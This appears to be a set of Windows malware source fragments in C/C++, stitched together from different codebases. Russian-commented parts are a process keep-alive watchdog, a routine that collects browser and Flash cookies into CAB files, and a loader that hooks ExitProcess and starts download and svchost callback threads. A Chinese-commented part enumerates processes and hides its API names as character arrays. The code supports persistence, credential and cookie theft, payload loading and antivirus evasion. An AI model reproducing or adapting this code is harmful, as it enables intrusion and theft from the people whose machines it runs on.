DWORD KeepAliveCheckProcessThread(LPVOID ProcessNomber) { // Поток проверки жизни процесса PCHAR MutexName = GetKeepAliveMutexName((DWORD)ProcessNomber); if (MutexName == NULL) return 0; // Запускаем бесконечный цикл проверки существования мютекса // отсутствие мютекса означает, что процесс создавший мютекс // "упал" и требует перезапуска const static DWORD MinInterval = 60000; DWORD FailedCount = 0; // Количество проваленных попыток открытия мютекса DWORD RestartCount = 0; // Количество перезапусков с интервалом меньше доступного DWORD RestartTime = 0; // Время одного перезапуска while (true) { // Открываем мютекс HANDLE Handle = (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS, false, MutexName); if (Handle != NULL) { // Мютекс существует. // Обнуляем счётчик провалов FailedCount = 0; pCloseHandle(Handle); } else { // Мютекс отсутствует, принимаем меры для устранения проблемы FailedCount++; if (FailedCount >= 5) { // перезапускаем процесс FailedCount = 0; KeepAliveRestartProcess((DWORD)ProcessNomber); // Проверяем время рестарта DWORD NewTime = (DWORD)pGetTickCount(); if (RestartTime != 0) { if ((NewTime - RestartTime) <= MinInterval) { RestartCount++; if (RestartCount >= 3) { // процесс не стабилен и часто падает. // Во избежание нагрузки на ПК и психику // пользователя прекращаем мониторинг не стабильного // процесса return 0; } } else { RestartTime = 0; RestartCount = 0; // Обнуляем счтчик частоты перезапуска } } RestartTime = NewTime; } } // Приостанавливаем поток pSleep(2000); } }
void WINAPI DeleteBrowsersCookies() { /* // Фцнкция удаляет кукисы браузеров и Macromedia Flash Player IEClearCache(); DeleteIECookies(1); DeleteIECookies(2); //DeleteIE_cookies("Windows Vista"); DeleteFFCookies(); DeleteSOL();*/ //IEClearCache(); char *Path = GetTempNameA(); HCAB hCab = CreateCab(Path); // Фцнкция удаляет кукисы браузеров и Macromedia Flash Player //DeleteIE_cookies("Windows Vista"); DeleteIECookies(1, hCab); DeleteIECookies(2, hCab); DeleteFFCookies(hCab); CloseCab(hCab); HANDLE hFile = (HANDLE)pCreateFileA(Path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD sizeH = 0; DWORD sizeL = (DWORD)pGetFileSize(hFile, &sizeH); __int64 sizeCookies = (__int64)(sizeH<<32) + sizeL; DbgMsg("coocksol.cpp",sizeCookies,"COOKIE CAB SIZE"); pCloseHandle(hFile); /*char *tmp = (char*)MemAlloc(256); GetTempFileNameA("C:\\cabs\\","cab_",0,tmp); CopyFile(Path, tmp, 0); MemFree(Path); MemFree(tmp);*/ Path = GetTempNameA(); hCab = CreateCab(Path); DeleteSOL(hCab); CloseCab(hCab); hFile = (HANDLE)pCreateFileA(Path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); sizeH = 0; sizeL = (DWORD)pGetFileSize(hFile, &sizeH); __int64 sizeSol = (__int64)(sizeH<<32) + sizeL; DbgMsg("coocksol.cpp",sizeSol,"SOL CAB SIZE"); pCloseHandle(hFile); /*tmp = (char*)MemAlloc(256); GetTempFileNameA("C:\\cabs\\","cab_",0,tmp); CopyFile(Path, tmp, 0); MemFree(Path); MemFree(tmp);*/ }
LPBYTE CSystemManager::getProcessList() { HANDLE hSnapshot = NULL; HANDLE hProcess = NULL; HMODULE hModules = NULL; PROCESSENTRY32 pe32 = {0}; DWORD cbNeeded; char strProcessName[MAX_PATH] = {0}; LPBYTE lpBuffer = NULL; DWORD dwOffset = 0; DWORD dwLength = 0; char SSzlC11[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'}; char SSzlC10[] = {'C','r','e','a','t','e','T','o','o','l','h','e','l','p','3','2','S','n','a','p','s','h','o','t','\0'}; CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary(SSzlC11),SSzlC10); hSnapshot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return NULL; pe32.dwSize = sizeof(PROCESSENTRY32); char SSzlC20[] = {'L','o','c','a','l','A','l','l','o','c','\0'}; LocalAllocT pLocalAlloc=(LocalAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC20); lpBuffer = (LPBYTE)pLocalAlloc(LPTR, 1024); lpBuffer[0] = TOKEN_PSLIST; dwOffset = 1; char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'}; lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01); LocalSizeT pLocalSize=(LocalSizeT)GetProcAddress(LoadLibrary(SSzlC11),"LocalSize"); char FBwWp14[] = {'O','p','e','n','P','r','o','c','e','s','s','\0'}; OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp14); char MyProcess32Next[] ={'P','r','o','c','e','s','s','3','2','N','e','x','t','\0'}; Process32NextT pProcess32Next= (Process32NextT)GetProcAddress(LoadLibrary(SSzlC11),MyProcess32Next); char MyProcess32First[] ={'P','r','o','c','e','s','s','3','2','F','i','r','s','t','\0'}; Process32FirstT pProcess32First= (Process32FirstT)GetProcAddress(LoadLibrary(SSzlC11),MyProcess32First); char FBwWp29[] = {'L','o','c','a','l','R','e','A','l','l','o','c','\0'}; LocalReAllocT pLocalReAlloc=(LocalReAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp29); char DYrEN15[] = {'E','n','u','m','P','r','o','c','e','s','s','M','o','d','u','l','e','s','\0'}; EnumProcessModulesT pEnumProcessModules=(EnumProcessModulesT)GetProcAddress(LoadLibrary("PSAPI.DLL"),DYrEN15); char DYrEN13[] = {'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','E','x','A','\0'}; GetModuleFileNameExAT pGetModuleFileNameExA=(GetModuleFileNameExAT)GetProcAddress(LoadLibrary("PSAPI.DLL"),DYrEN13); if(pProcess32First(hSnapshot, &pe32)) { do { hProcess = pOpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) { pEnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); pGetModuleFileNameExA(hProcess, hModules, strProcessName, sizeof(strProcessName)); // 此进程占用数据大小 dwLength = sizeof(DWORD) + plstrlenA(pe32.szExeFile) + plstrlenA(strProcessName) + 2; // 缓冲区太小,再重新分配下 if (pLocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)pLocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); Gyfunction->my_memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); Gyfunction->my_memcpy(lpBuffer + dwOffset, pe32.szExeFile, plstrlenA(pe32.szExeFile) + 1); dwOffset += plstrlenA(pe32.szExeFile) + 1; Gyfunction->my_memcpy(lpBuffer + dwOffset, strProcessName, plstrlenA(strProcessName) + 1); dwOffset += plstrlenA(strProcessName) + 1; } } while(pProcess32Next(hSnapshot, &pe32)); } lpBuffer = (LPBYTE)pLocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); pCloseHandle(hSnapshot); return lpBuffer; }
//------------------------------------------------------------------------ BOOL StartLoaderThread(LPVOID SystemArgument) { //// 303_ld запуск в Svchost (тут сети может не быть) //PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("303_ld")); // Запускаем поток загружки длл //=================================================== // Этап 1. Проверяем существование сигнального файда // Для этого создадим файл с экслюзивными праввами и // поставим его на удаление после перезапуска системы // Хэндл файла закрывать не будем, это даст чёткий // сигнал, что процесс запустивший загрузку ещё живой //=================================================== PCHAR FileName = GetSignalFileName(); if (FileName == NULL) return false; // Пытаемся открыть фай HANDLE H = (HANDLE)pCreateFileA(FileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM , 0); if (H == INVALID_HANDLE_VALUE) { // Ошибка создания файла, считаем, что // в данный момент файлом владеет другой процесс STR::Free(FileName); return false; } // Указываем системе, что после перезапуска необходимо // удалить файл pMoveFileExA(FileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); //=================================================== // Этап 2: Устанавливаем хуки которые заблокируют // эавершение процесса до завершения работы нашего // потока //=================================================== if ( HookApi(1, 0x95902B19 /* ExitProcess */, (DWORD)&Hook_ExitProcess ) ) __asm mov [Real_ExitProcess], eax //=================================================== // Этап 3: Запускаем поток //=================================================== ThreadHandle = StartThread(DownloadMethod, SystemArgument); if (ThreadHandle == NULL) { pCloseHandle(H); return false; } pSetThreadPriority(ThreadHandle, THREAD_PRIORITY_NORMAL); //=================================================== // Этап 4: Запускаем поток в svchost отзвона на тестовый сервер //=================================================== StartThread(DbgRptSvchostThread, NULL); return true; }